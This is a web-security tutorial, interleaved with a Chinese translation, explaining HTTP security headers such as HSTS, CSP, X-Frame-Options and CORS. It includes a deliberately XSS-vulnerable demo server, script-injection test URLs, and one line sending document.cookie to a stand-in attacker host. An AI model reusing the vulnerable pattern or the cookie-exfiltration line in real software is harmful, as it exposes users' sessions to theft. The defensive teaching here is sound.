by Alex Nadalin
通過亞歷克斯·納達林
使用這些HTTP標頭保護您的Web應用程序 (Secure your web application with these HTTP headers)
This is part 3 of a series on web security: part 2 was “Web Security: an introduction to HTTP”
這是有關Web安全的系列文章的第3部分:第2部分是“ Web安全:HTTP簡介 ”
As we’ve seen in the previous parts of this series, servers can send HTTP headers to provide the client additional metadata around the response, besides sending the content that the client requested. Clients are then allowed to specify how a particular resource should be read, cached or secured.
正如我們在本系列前面的部分中已經看到的,服務器除了發送客戶端請求的內容外,還可以發送HTTP標頭為客戶端提供圍繞響應的其他元數據。 然后允許客戶端指定應如何讀取,緩存或保護特定資源。
There’s currently a very large spectrum of security-related headers that have been implemented by browsers in order to make it harder for attackers to take advantage of vulnerabilities. The next paragraphs try to summarize each and every one of them by explaining how they’re used, what kind of attacks they prevent, and a bit of history behind each header.
當前,瀏覽器已經實現了大量與安全相關的標頭,以使攻擊者更難利用漏洞。 下一段試圖通過解釋它們的使用方式,它們阻止的攻擊類型以及每個標頭背后的一些歷史來總結它們中的每一個。
HTTP嚴格傳輸安全性(HSTS) (HTTP Strict Transport Security (HSTS))
Since late 2012, HTTPS-everywhere believers have found it easier to force a client to always use the secure version of the HTTP protocol, thanks to HTTP Strict Transport Security: a very simple Strict-Transport-Security: max-age=3600
will tell the browser that for the next hour (3600 seconds) it should not interact with the application with insecure protocols.
自2012年底以來,HTTPS遍布各地的信徒發現,由于HTTP嚴格傳輸安全性 ,強制客戶端始終使用HTTP協議的安全版本更加容易:一個非常簡單的Strict-Transport-Security: max-age=3600
在接下來的一個小時(3600秒)內,瀏覽器不應與使用不安全協議的應用程序進行交互。
When a user tries to access an application secured by HSTS through HTTP, the browser will simply refuse to go ahead, automatically converting http://
URLs to https://
.
當用戶嘗試通過HTTP訪問由HSTS保護的應用程序時,瀏覽器將拒絕繼續操作,將http://
URL自動轉換為https://
。
You can test this locally with the code at github.com/odino/wasec/tree/master/hsts. You will need to follow the instructions in the README (they involve installing a trusted SSL certificate for localhost
on your machine, through the amazing mkcert tool) and then try opening https://localhost:7889
.
您可以使用github.com/odino/wasec/tree/master/hsts中的代碼在本地進行測試。 您將需要按照自述文件中的說明進行操作(這涉及通過令人驚嘆的mkcert工具在計算機上為localhost
安裝受信任的SSL證書),然后嘗試打開https://localhost:7889
。
There are 2 servers in this example, an HTTPS one listening on 7889
, and an HTTP one on port 7888
. When you access the HTTPS server, it will always try to redirect you to the HTTP version, which will work since there is no HSTS policy on the HTTPS server. If you instead add the hsts=on
parameter in your URL, the browser will forcefully convert the link in the redirect to its https://
version. Since the server at 7888
is http-only, you will end up staring at a page that looks more or less like this. ?
在此示例中,有2臺服務器,其中HTTPS偵聽7889
,HTTP 1偵聽端口7888
。 當您訪問HTTPS服務器時,它將始終嘗試將您重定向到HTTP版本,因為HTTPS服務器上沒有HSTS策略,所以該版本將起作用。 如果改為在URL中添加hsts=on
參數,則瀏覽器將強制將重定向中的鏈接轉換為其https://
版本。 由于位于7888
的服務器僅支持http,因此您最終將盯著看起來或多或少像這樣的頁面。 ?
You might be wondering what happens the first time a user visits your website, as there is no HSTS policy defined beforehand: attackers could potentially trick the user to the http://
version of your website and perpetrate their attack there, so there’s still room for problems. That’s a valid concern, as HSTS is a trust on first use mechanism. What it tries to do is to make sure that, once you’ve visited a website, the browser knows that subsequent interaction must use HTTPS.
您可能想知道用戶首次訪問您的網站時會發生什么,因為事先沒有定義HSTS策略:攻擊者可能會誘騙用戶使用您網站的http://
版本并在網站上進行攻擊,因此仍有空間解決問題。 這確實是一個問題,因為HSTS是對首次使用機制的信任 。 它試圖做的是確保一旦您訪問了網站,瀏覽器就會知道后續的交互必須使用HTTPS。
A way around this shortcoming would be to maintain a huge database of websites that enforce HSTS, something that Chrome does through hstspreload.org. You must first set your policy, then visit the website and check whether it’s eligible to be added to the database. For example, we can see Facebook made the list.
解決此缺陷的方法是維護一個龐大的網站數據庫,以實施HSTS,Chrome可以通過hstspreload.org來實現 。 您必須首先設置策略,然后訪問網站并檢查是否有資格將其添加到數據庫中。 例如,我們可以看到Facebook列出了該列表。
By submitting your website to this list, you can tell browsers in advance that your site uses HSTS, so that even the first interaction between clients and your server will be over a secure channel. But this comes at a cost, as you really need to commit to HSTS. If, by any chance, you’d like your website to be removed from the list that’s no easy task for browser vendors:
通過將您的網站提交到此列表,您可以提前告知瀏覽器您的網站使用HSTS,這樣,即使客戶端與服務器之間的首次交互也將通過安全通道進行。 但這是有代價的,因為您確實需要致力于HSTS。 如果您希望將您的網站從列表中刪除,這對于瀏覽器供應商而言并非易事:
Be aware that inclusion in the preload list cannot easily be undone.
請注意,無法輕松撤消預加載列表中的內容。
Domains can be removed, but it takes months for a change to reach users with a Chrome update and we cannot make guarantees about other browsers. Don’t request inclusion unless you’re sure that you can support HTTPS for your entire site and all its subdomains for the long term.
可以刪除域,但是更改可能需要幾個月的時間才能使用戶使用Chrome更新,因此我們無法保證其他瀏覽器的安全。 除非您確定可以長期支持整個站點及其所有子域的HTTPS,否則不要請求包含。
Source: https://hstspreload.org/
資料來源: https : //hstspreload.org/
This happens because the vendor cannot guarantee that all users will be on the latest version of their browser, with your site removed from the list. Think carefully, and make a decision based on your degree of confidence in HSTS and your ability to support it on the long run.
發生這種情況是因為供應商無法保證所有用戶都將使用其瀏覽器的最新版本,并且您的網站已從列表中刪除。 仔細考慮,然后根據您對HSTS的信心程度以及長期支持它的能力做出決定。
HTTP公鑰固定(HPKP) (HTTP Public Key Pinning (HPKP))
HTTP Public Key Pinning is a mechanism that allows us to advertise to the browser which SSL certificates to expect whenever it connects to our servers. It is a trust on first use header, just like HSTS, meaning that, once the client connects to our server, it will store the certificate’s info for subsequent interactions. If, at any point in time, the client detects that another certificate is being used by the server, it will politely refuse to connect, rendering man in the middle (MITM) attacks very hard to pull off.
HTTP公鑰固定是一種機制,允許我們在連接到服務器時向瀏覽器通告期望使用的SSL證書。 就像HSTS一樣,它是對首次使用標頭的信任 ,這意味著,一旦客戶端連接到我們的服務器,它將存儲證書的信息以用于后續交互。 如果客戶端在任何時間點檢測到服務器正在使用另一個證書,它將禮貌地拒絕連接,從而使中間人 (MITM)攻擊非常難以實施。
This is how a HPKP policy looks like:
HPKP策略如下所示:
Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect"
The header advertises what certificates the server will use (in this case it’s two of them) using a hash of the certificates, and includes additional information such as the time-to-live of this directive (max-age=3600
), and a few other details. Sadly, there’s no point in digging deeper to understand what we can do with public key pinning, as this feature is being deprecated by Chrome - a signal that its adoption is destined to plummet very soon.
標頭使用證書的哈希值宣傳服務器將使用的證書(在本例中為兩個),并包含其他信息,例如此指令的生存時間( max-age=3600
)和其他一些細節。 可悲的是, 由于Chrome已棄用此功能 ,因此沒有必要更深入地了解我們可以使用公鑰固定進行的操作 -這表明它的采用注定會很快下降。
Chrome’s decision is not irrational, but simply a consequence of the risks associated with public key pinning. If you lose your certificate, or simply make a mistake while testing, your website will be inaccessible to users that have visited the website earlier (for the duration of the max-age
directive, which is typically weeks or months).
Chrome的決定并非不合理,而僅僅是由于與公鑰固定相關的風險。 如果您丟失了證書,或者只是在測試過程中犯了一個錯誤,那么早前訪問該網站的用戶將無法訪問您的網站(在max-age
指令的有效期內,通常為數周或數月)。
As a result of these potentially catastrophic consequences, adoption of HPKP has been extremely low, and there have been incidents where big-time websites have been unavailable because of a misconfiguration. All considered, Chrome decided users were better off without the protection offered by HPKP - and security researchers aren’t entirely against this decision.
由于這些潛在的災難性后果,HPKP的采用率非常低,并且發生了由于配置錯誤而無法使用大型網站的事件。 考慮到所有因素,Chrome決定用戶在沒有HPKP提供的保護的情況下會更好- 安全研究人員并不完全反對這一決定 。
期望CT (Expect-CT)
While HPKP has been deprecated, a new header stepped in to prevent fraudulent SSL certificates from being served to clients: Expect-CT
.
在不推薦使用HPKP的同時,引入了新的標頭以防止將欺詐性SSL證書提供給客戶端: Expect-CT
。
The goal of this header is to inform the browser that it should perform additional “background checks” to ensure the certificate is genuine: when a server uses the Expect-CT
header, it is fundamentally requesting the client to verify that the certificates being used are present in public Certificate Transparency (CT) logs.
此標頭的目的是通知瀏覽器,它應該執行其他“后臺檢查”以確保證書是真實的:當服務器使用Expect-CT
標頭時,它從根本上要求客戶端驗證所使用的證書是否正確。存在于公共證書透明度(CT)日志中。
The Certificate Transparency initiative is an effort led by Google in order to provide:
證書透明度計劃是Google領導的一項工作,旨在提供:
An open framework for monitoring and auditing SSL certificates in nearly real time.
一個開放的框架,用于幾乎實時地監視和審核SSL證書。
Specifically, Certificate Transparency makes it possible to detect SSL certificates that have been mistakenly issued by a certificate authority or maliciously acquired from an otherwise unimpeachable certificate authority. It also makes it possible to identify certificate authorities that have gone rogue and are maliciously issuing certificates.
具體而言,通過證書透明性,可以檢測由證書頒發機構錯誤頒發的SSL證書或從原本無法企及的證書頒發機構惡意獲取的SSL證書。 它還使識別出流氓并且惡意頒發證書的證書頒發機構成為可能。
Source: https://www.certificate-transparency.org/
資料來源: https : //www.certificate-transparency.org/
The header takes this form:
標頭采用以下形式:
Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"
In this example, the server is asking the browser to:
在此示例中,服務器要求瀏覽器執行以下操作:
- enable CT verification for the current app for a period of 1 hour (3600 seconds) 在1小時(3600秒)內為當前應用啟用CT驗證
enforce
this policy and prevent access to the app if a violation occursenforce
此政策并在發生違規情況時阻止對應用程序的訪問- send a report to the given URL if a violation occurs 如果發生違規,將報告發送到給定的URL
The Certificate Transparency initiative’s goal is to detect mis-issued or malicious certificates (and rogue Certificate Authorities) earlier, faster, and more precisely than any other method used before.
證書透明性計劃的目標是比以前使用的任何其他方法更早,更快,更準確地檢測出錯簽或惡意證書(和流氓證書頒發機構)。
By opting-in using the Expect-CT
header, you can take advantage of this initiative to improve your app’s security posture.
通過使用Expect-CT
標頭選擇加入,您可以利用此計劃來改善應用程序的安全性。
X框架選項 (X-Frame-Options)
Imagine seeing a web page such as this popping in front of your screen:
想象一下,這樣的網頁在屏幕前彈出:
As soon as you click on the link, you realize that all the money in your bank account is gone. What happened?
單擊該鏈接,您立即意識到銀行帳戶中的所有錢都已耗盡。 發生了什么?
You were a victim of a clickjacking attack.
您是點擊劫持攻擊的受害者。
An attacker directed you to their website, which displays a very attractive link to click. Unfortunately, he also embedded in the page an iframe from your-bank.com/transfer?amount=-1&[attacker@gmail.com]
but hid it by setting it’s opacity to 0%. What then happened is that thought of clicking on the original page, trying to win a brand-new hummer, but instead the browser captured a click on the iframe, a dangerous click that confirmed the transfer of money.
攻擊者將您引導到他們的網站,該網站顯示一個非常誘人的點擊鏈接。 不幸的是,他還在your-bank.com/transfer?amount=-1& [attacker@gmail.com]
嵌入了iframe,但通過將其不透明度設置為0%來隱藏了它。 然后發生的事情是想到單擊原始頁面,試圖贏得全新的嗡嗡聲,但是瀏覽器卻捕獲了對iframe的點擊,這是危險的點擊,確認了資金的轉移。
Most banking systems require you to specify a one-time PIN code to confirm transactions, but your bank didn’t catch up with times and all of your money is gone.
大多數銀行系統要求您指定一次PIN碼以確認交易,但是您的銀行沒有趕上時間,您的所有錢都花光了。
The example is pretty extreme but should let you understand what could be the consequences of a clickjacking attack. The user intends to click on a particular link, while the browser will trigger a click on the “invisible” page that’s been embedded as an iframe.
這個例子非常極端,但是應該讓您理解點擊劫持攻擊的后果。 用戶打算單擊特定的鏈接,而瀏覽器將觸發對嵌入為iframe的“不可見”頁面的單擊。
I have included an example of this vulnerability at github.com/odino/wasec/tree/master/clickjacking. If you run the example and try clicking on the “appealing” link, you will see the actual click is intercepted by the iframe, which increases its opacity so that’s easier for you to spot the problem. The example should be accessible at http://localhost:7888
.
我在github.com/odino/wasec/tree/master/clickjacking中包含了此漏洞的示例 。 如果運行示例并嘗試單擊“吸引人”鏈接,則將看到iframe攔截了實際的點擊,這增加了iframe的不透明度,使您更容易發現問題。 該示例應該可以從http://localhost:7888
。
Luckily, browsers have come up with a simple solution to the problem: X-Frame-Options
(XFO) which lets you decide whether your app can be embedded as an iframe on external websites. Popularized by Internet Explorer 8, XFO was first introduced in 2009 and is still supported by all major browsers.
幸運的是,瀏覽器提出了一個解決該問題的簡單方法: X-Frame-Options
(XFO),使您可以決定是否可以將應用程序作為iframe嵌入到外部網站上。 XFO在Internet Explorer 8的普及下于2009年首次推出,目前仍受所有主要瀏覽器的支持。
The way it works is, when a browser sees an iframe, it loads it and verifies that its XFO allows its inclusion in the current page before rendering it.
它的工作方式是,當瀏覽器看到一個iframe時,它將加載它并驗證其XFO是否允許在呈現前將其包含在當前頁面中。
The supported values are:
支持的值為:
DENY
: this web page cannot be embedded anywhere. This is the highest level of protection as it doesn’t allow anyone to embed our content.DENY
:該網頁無法嵌入任何地方。 這是最高的保護級別,因為它不允許任何人嵌入我們的內容。SAMEORIGIN
: only pages from the same domain as the current one can embed this page. This means thatexample.com/embedder
can loadexample.com/embedded
so long as its policy is set toSAMEORIGIN
. This is a more relaxed policy that allows owners of a particular website to embed their own pages across their application.SAMEORIGIN
:只有與當前域相同的域中的頁面才能嵌入此頁面。 這意味著example.com/embedder
可以加載example.com/embedded
,只要其策略設置為SAMEORIGIN
。 這是一種更為寬松的策略,允許特定網站的所有者在其應用程序中嵌入自己的頁面。ALLOW-FROM uri
: embedding is allowed from the specified URI. We could, for example, let an external, authorized website embed our content by usingALLOW-FROM https://external.com
. This is generally used when you intend to allow a 3rd party to embed your content through an iframeALLOW-FROM uri
:允許從指定的URI嵌入。 例如,我們可以使用ALLOW-FROM https://external.com
外部授權的網站嵌入我們的內容。 通常在您打算允許第三方通過iframe嵌入內容時使用
An example HTTP response that includes the strictest XFO policy possible looks like:
包含最嚴格的XFO策略的HTTP響應示例如下所示:
HTTP/1.1 200 OKContent-Type: application/jsonX-Frame-Options: DENY
...
In order to showcase how browsers behave when XFO is enabled, we can simply change the URL of our example to http://localhost:7888/?xfo=on
. The xfo=on
parameter tells the server to include X-Frame-Options: deny
in the response, and we can see how the browser restricts access to the iframe:
為了展示啟用XFO時瀏覽器的行為,我們可以簡單地將示例的URL更改為http://localhost:7888/?xfo=on
。 xfo=on
參數告訴服務器在響應中包含X-Frame-Options: deny
,我們可以看到瀏覽器如何限制對iframe的訪問:
XFO was considered the best way to prevent frame-based clickjacking attacks until another header came into play years later, Content Security Policy or CSP for short.
XFO被認為是防止基于幀的點擊劫持攻擊的最佳方法,直到幾年后又出現了另一個標題(簡稱“內容安全策略”或CSP)。
內容安全政策(CSP) (Content Security Policy (CSP))
The Content-Security-Policy
header, often abbreviated to CSP, provides a next-generation utility belt for preventing a plethora of attacks, ranging from XSS (Cross-site Scripting) to clickjacking.
Content-Security-Policy
標頭(通常縮寫為CSP)提供了下一代實用程序帶,用于防止從XSS(跨站點腳本)到點擊劫持的過多攻擊。
To understand how CSP helps us, we should first think of an attack vector. Let’s say we just built our own Google Search, a simple input text with a submit button.
要了解CSP如何幫助我們,我們首先應該考慮一種攻擊媒介。 假設我們剛剛構建了自己的Google搜索,即帶有提交按鈕的簡單輸入文本。
This web application does nothing magical. It just,
該Web應用程序沒有神奇的功能。 它只是,
- displays a form 顯示表格
- lets the user execute a search 讓用戶執行搜索
- displays the search results alongside with the keyword the user searched for 顯示搜索結果以及用戶搜索的關鍵字
When we execute a simple search, this is what the application returns:
當我們執行簡單搜索時,應用程序將返回以下內容:
Amazing! Our application incredibly understood our search and found a related image. If we dig deeper in the source code, available at github.com/odino/wasec/tree/master/xss, we will soon realize that the application presents a security issue, as whatever keyword the user searches for is directly printed in the HTML response served to the client:
驚人! 我們的應用程序非常了解我們的搜索并找到了相關圖像。 如果我們在github.com/odino/wasec/tree/master/xss上找到源代碼,我們將很快意識到該應用程序存在安全問題,因為用戶搜索的任何關鍵字都直接在HTML中打印。回應送達客戶:
var qs = require('querystring')var url = require('url')var fs = require('fs')
require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...`
res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))}).listen(7888)
<html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body></html>
This presents a nasty consequence. An attacker can craft a specific link that executes arbitrary JavaScript within the victims browser.
這帶來了令人討厭的后果。 攻擊者可以制作特定鏈接,該鏈接可以在受害者瀏覽器中執行任意JavaScript。
If you have the time and patience to run the example locally, you will be able to quickly understand the power of CSP. I’ve added a query string parameter that turns CSP on, so we can try navigating to a malicious URL with CSP turned on:
如果您有時間和耐心在本地運行該示例,則可以快速了解CSP的功能。 我添加了一個查詢字符串參數來打開CSP,因此我們可以嘗試在打開CSP的情況下導航到惡意URL:
http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on
As you see in the example above, we have told the browser that our CSP policy only allows scripts included from the same origin of the current URL, which we can easily verify by curling the URL and viewing the response header:
如您在上面的示例中看到的,我們已經告訴瀏覽器,我們的CSP策略僅允許包含來自當前URL相同起源的腳本,我們可以通過卷曲URL并查看響應標頭來輕松地進行驗證:
$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"
HTTP/1.1 200 OKX-XSS-Protection: 0Content-Security-Policy: default-src 'self'Date: Sat, 11 Aug 2018 10:46:27 GMTConnection: keep-alive
Since the XSS attack was perpetrated through an inline script (a script directly embedded in the HTML content), the browser politely refused to execute it, keeping our user safe. Imagine if, instead of simply displaying an alert dialog, the attacker would have set up a redirect to its own domain, through some JavaScript code that could look like:
由于XSS攻擊是通過內聯腳本 (直接嵌入HTML內容中的腳本)實施的,因此瀏覽器會禮貌地拒絕執行該腳本,從而確保用戶安全。 想象一下,如果攻擊者不是通過簡單地顯示警報對話框,而是會通過一些類似于以下代碼JavaScript代碼來設置重定向到其自己的域的:
window.location = `attacker.com/${document.cookie}`
They would have been able to steal all of the user’s cookies, which might contain highly sensitive data (more on this in the next article).
他們將能夠竊取用戶的所有cookie,其中可能包含高度敏感的數據(在下一篇文章中將對此進行更多介紹)。
By now, it should be clear how CSP helps us prevent a range of attacks on web applications. You define a policy and the browser will strictly adhere to it, refusing to run resources that would violate the policy.
到目前為止,應該很清楚CSP如何幫助我們防止對Web應用程序的一系列攻擊。 您定義了策略,瀏覽器將嚴格遵守該策略,拒絕運行會違反該策略的資源。
An interesting variation of CSP is the report-only mode. Instead of using the Content-Security-Policy
header, you can first test the impact of CSP on your website by telling the browser to simply report errors, without blocking script execution and so on, by using the Content-Security-Policy-Report-Only
header.
CSP的一個有趣變化是僅報告模式。 除了使用Content-Security-Policy
標頭之外,您還可以通過使用Content-Security-Policy-Report-Only
告訴瀏覽器僅報告錯誤而不阻止腳本執行等來測試CSP對網站的影響。 Content-Security-Policy-Report-Only
標頭。
Reporting will allow you to understand what breaking changes the CSP policy you’d like to roll out might cause, and fix them accordingly. We can even specify a report URL and the browser will send us a report. Here’s a full example of a report-only policy:
通過報告,您可以了解要推出的CSP策略可能引起的重大更改,并進行相應的修復。 我們甚至可以指定報告URL,瀏覽器將向我們發送報告。 這是僅報告政策的完整示例:
Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector
CSP policies can be a bit complex on their own, such as in the following example:
CSP策略本身可能有點復雜,例如以下示例:
Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com
This policy defines the following rules:
該策略定義以下規則:
executable scripts (eg. JavaScript) can only be loaded from
scripts.example.com
可執行腳本(例如JavaScript)只能從
scripts.example.com
加載images may be loaded from any origin (
img-src: *
)可以從任何來源加載圖像(
img-src: *
)video or audio content can be loaded from two origins:
medias.example.com
andmedias.legacy.example.com
可以從兩個來源加載視頻或音頻內容:
medias.example.com
和medias.legacy.example.com
As you can see, policies can become lengthy, and if we want to ensure the highest protection for our users this can become quite a tedious process. Nevertheless, writing a comprehensive CSP policy is an important step towards adding an additional layer of security to our web applications.
如您所見,策略可能會變得冗長,并且,如果我們要確保為用戶提供最高的保護,這可能會變得很繁瑣。 但是,編寫全面的CSP策略是向我們的Web應用程序添加附加安全層的重要一步。
For more information around CSP I would recommend a deep dive at developer.mozilla.org/en-US/docs/Web/HTTP/CSP.
有關CSP的更多信息,我建議您深度訪問developer.mozilla.org/en-US/docs/Web/HTTP/CSP 。
X-XSS保護 (X-XSS-Protection)
Although superseded by CSP, the X-XSS-Protection
header provides a similar type of protection. This header is used to mitigate XSS attacks in older browsers that don’t fully support CSP. This header is not supported by Firefox.
盡管已被CSP取代,但X-XSS-Protection
標頭提供了類似的保護類型。 此標頭用于緩解不完全支持CSP的舊版瀏覽器中的XSS攻擊。 Firefox不支持此標頭。
Its syntax is very similar to what we’ve just seen:
它的語法與我們剛剛看到的非常相似:
X-XSS-Protection: 1; report=http://xssviolations.example.com/collector
Reflected XSS is the most common type of attack, where an unsanitized input gets printed by the server without any validation, and it’s where this header truly shines. If you want to see this yourself, I would recommend to try out the example at github.com/odino/wasec/tree/master/xss as, by appending xss=on
to the URL, it shows what a browser does when XSS protection is turned on. If we enter a malicious string in our search box, such as <script>alert('hello')<
;/script>, the browser will politely refuse to execute the script, and explain the reasoning behind its decision:
反映的XSS是最常見的攻擊類型,其中未經處理的輸入會在未經任何驗證的情況下由服務器打印出來,這正是此標頭真正發揮作用的地方。 如果您想自己看看,我建議嘗試在github.com/odino/wasec/tree/master/xss上嘗試該示例,因為通過將xss=on
附加到URL,它可以顯示XSS保護時瀏覽器的工作方式已開啟。 如果我們在搜索框中輸入一個惡意字符串,例如<script>alert('hello')<
; / script>,瀏覽器將禮貌地拒絕執行該腳本,并解釋其決定的原因:
The XSS Auditor refused to execute a script in'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'because its source code was found within the request.The server sent an 'X-XSS-Protection' header requesting this behavior.
Even more interesting is Chrome’s default behavior when the webpage does not specify any CSP or XSS policy, a scenario we can test by adding the xss=off
parameter to our URL (http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off
):
當網頁未指定任何CSP或XSS策略時,Chrome的默認行為更加有趣,我們可以通過在URL中添加xss=off
參數來測試這種情況( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off
):
Amazing, Chrome’s cautious enough that it will prevent the page from rendering, making reflected XSS very difficult to pull off. It’s impressive to see how far browsers have come.
令人驚奇的是,Chrome十分謹慎,以至于它會阻止頁面呈現,這使得反射XSS很難實現。 令人印象深刻的是瀏覽器已經面世了。
功能政策 (Feature policy)
In July 2018, security researcher Scott Helme published a very interesting blog post detailing a new security header in the making: Feature-Policy
.
2018年7月,安全研究員Scott Helme發表了一篇非常有趣的博客文章,詳細介紹了正在制定的新安全標題: Feature-Policy
。
Currently supported by very few browsers (Chrome and Safari at the time of this writing), this header lets us define whether a specific browser feature is enabled within the current page. With a syntax very similar to CSP, we should have no issue understanding what a feature policy such as the following one means:
當前只有很少的瀏覽器(在撰寫本文時是Chrome和Safari)受支持,此標頭使我們可以定義是否在當前頁面中啟用了特定的瀏覽器功能。 使用非常類似于CSP的語法,我們應該毫無疑問地了解一種功能策略,例如以下一種含義:
Feature-Policy: vibrate 'self'; push *; camera 'none'
If we still have a few doubts about how this policy impacts the browser APIs available to the page, we can simply dissect it:
如果我們對該政策如何影響該頁面可用的瀏覽器API仍有疑問,我們可以對其進行剖析:
vibrate 'self'
: this will allow the current page to use the vibration API and any nested browsing contexts (iframes) on the same originvibrate 'self'
:這將允許當前頁面在同一來源使用振動API和任何嵌套的瀏覽上下文(iframe)push *
: the current page and any iframe can use the push notification APIpush *
:當前頁面和任何iframe均可使用推送通知APIcamera 'none'
: access to the camera API is denied to the current page and any nested context (iframes)camera 'none'
:當前頁面和任何嵌套上下文(iframe)均拒絕訪問camera API
The feature policy might have a short history, but it doesn’t hurt to get a head start. If your website allows users to, for example, take a selfie or record audio, it would be quite beneficial to use a policy that restricts other contexts from accessing the API through your page.
功能策略的歷史可能很短,但是搶先一步并沒有什么壞處。 例如,如果您的網站允許用戶拍攝自拍照或錄制音頻,則使用限制其他上下文通過您的頁面訪問API的策略將非常有益。
X內容類型選項 (X-Content-Type-Options)
Sometimes, clever browser features end up hurting us from a security standpoint. A clear example is MIME-sniffing, a technique popularized by Internet Explorer.
有時,從安全角度來看,聰明的瀏覽器功能最終會傷害我們。 一個明顯的例子是MIME嗅探,它是Internet Explorer流行的一種技術。
MIME-sniffing is the ability, for a browser, to auto-detect (and fix) the content type of a resource it is downloading. For example, we ask the browser to render an image at /awesome-picture.png
, but the server sets the wrong type when serving it to the browser (for example, Content-Type: text/plain
). This would generally result in the browser not being able to display the image properly.
對于瀏覽器來說,MIME嗅探功能可以自動檢測(并修復)正在下載的資源的內容類型。 例如,我們要求瀏覽器在/awesome-picture.png
處渲染圖像,但是服務器在將圖像提供給瀏覽器時設置了錯誤的類型(例如, Content-Type: text/plain
)。 這通常會導致瀏覽器無法正確顯示圖像。
In order to fix the issue, IE went to great lengths to implement a MIME-sniffing capability: when downloading a resource, the browser would “scan” it and, if it would detect that the resource’s content type is not the one advertised by the server in the Content-Type
header, it would ignore the type sent by the server and interpret the resource according to the type detected by the browser.
為了解決此問題,IE竭盡全力實現MIME嗅探功能:下載資源時,瀏覽器會“掃描”它,并且如果它檢測到資源的內容類型不是該資源所宣傳的內容類型。服務器在Content-Type
標頭中,它將忽略服務器發送的類型,并根據瀏覽器檢測到的類型解釋資源。
Now, imagine hosting a website that allows users to upload their own images, and imagine a user uploading a /test.jpg
file that contains JavaScript code. See where this is going? Once the file is uploaded, the site would include it in its own HTML and, when the browser would try to render the document, it would find the “image” the user just uploaded. As the browser downloads the image, it would detect that it’s a script instead, and execute it on the victim’s browser.
現在,假設托管一個允許用戶上傳自己的圖像的網站,并想象一個用戶上傳包含JavaScript代碼的/test.jpg
文件。 看到這是怎么回事? 文件上傳后,網站將在其自己HTML中包含該文件,當瀏覽器嘗試呈現文檔時,它將找到用戶剛剛上傳的“圖像”。 當瀏覽器下載圖像時,它將檢測到它是一個腳本,然后在受害者的瀏覽器中執行它。
To avoid this issue, we can set the X-Content-Type-Options: nosniff
header that completely disables MIME-sniffing: by doing so, we are telling the browser that we’re fully aware that some file might have a mismatch in terms of type and content, and the browser should not worry about it. We know what we’re doing, so the browser shouldn’t try to guess things, potentially posing a security threat to our users.
為避免此問題,我們可以設置X-Content-Type-Options: nosniff
標頭以完全禁用MIME嗅探:通過這樣做,我們告訴瀏覽器我們已經完全意識到某些文件的術語可能不匹配類型和內容,瀏覽器不必擔心。 我們知道我們在做什么,因此瀏覽器不應嘗試猜測,可能會對我們的用戶構成安全威脅。
跨域資源共享(CORS) (Cross-Origin Resource Sharing (CORS))
On the browser, through JavaScript, HTTP requests can only be triggered across the same origin. Simply put, an AJAX request from example.com
can only connect to example.com
.
在瀏覽器上,通過JavaScript,HTTP請求只能跨相同的源觸發。 簡而言之,來自example.com
的AJAX請求只能連接到example.com
。
This is because your browser contains useful information for an attacker - cookies, which are generally used to keep track of the user’s session. Imagine if an attacker would set up a malicious page at win-a-hummer.com
that immediately triggers an AJAX request to your-bank.com
. If you’re logged in on the bank’s website, the attacker would then be able to execute HTTP requests with your credentials, potentially stealing information or, worse, wiping your bank account out.
這是因為您的瀏覽器包含對攻擊者有用的信息-Cookies,通常用于跟蹤用戶會話。 想象一下,如果攻擊者在win-a-hummer.com
上設置了惡意頁面,該頁面立即觸發對your-bank.com
的AJAX請求。 如果您登錄到銀行的網站,則攻擊者將能夠使用您的憑據執行HTTP請求,從而可能竊取信息,或者更糟的是清除您的銀行帳戶。
There might be some cases, though, that require you to execute cross-origin AJAX requests, and that is the reason browsers implement Cross Origin Resource Sharing (CORS), a set of directives that allow you to execute cross-domain requests.
但是,在某些情況下,可能需要執行跨域AJAX請求,這就是瀏覽器實現跨源資源共享(CORS)的原因,CORS是允許您執行跨域請求的一組指令。
The mechanics behind CORS is quite complex, and it won’t be practical for us to go over the whole specification, so I am going to focus on a “stripped down” version of CORS.
CORS背后的機制非常復雜,對我們而言,要遍歷整個規范并不切合實際,因此,我將重點介紹CORS的“精簡版”版本。
All you need to know, for now, is that by using the Access-Control-Allow-Origin
header, your application tells the browser that it’s ok to receive requests from other origins.
現在,您只需要知道通過使用Access-Control-Allow-Origin
標頭,您的應用程序就會告訴瀏覽器可以接收來自其他來源的請求。
The most relaxed form of this header is Access-Control-Allow-Origin: *
, which allows any origin to access our application, but we can restrict it by simply adding the URL we want to whitelist with Access-Control-Allow-Origin: https://example.com
.
此標頭最寬松的形式是Access-Control-Allow-Origin: *
,它允許任何來源訪問我們的應用程序,但是我們可以通過簡單地添加我們要使用Access-Control-Allow-Origin: https://example.com
列入白名單的URL來限制它Access-Control-Allow-Origin: https://example.com
。
If we take a look at the example at github.com/odino/wasec/tree/master/cors we can clearly see how the browser prevents access to a resource on a separate origin. I have set up the example to make an AJAX request from test-cors
to test-cors-2
, and print the result of the operation to the browser. When the server behind test-cors-2
is instructed to use CORS, the page works as you would expect. Try navigating to http://cors-test:7888/?cors=on
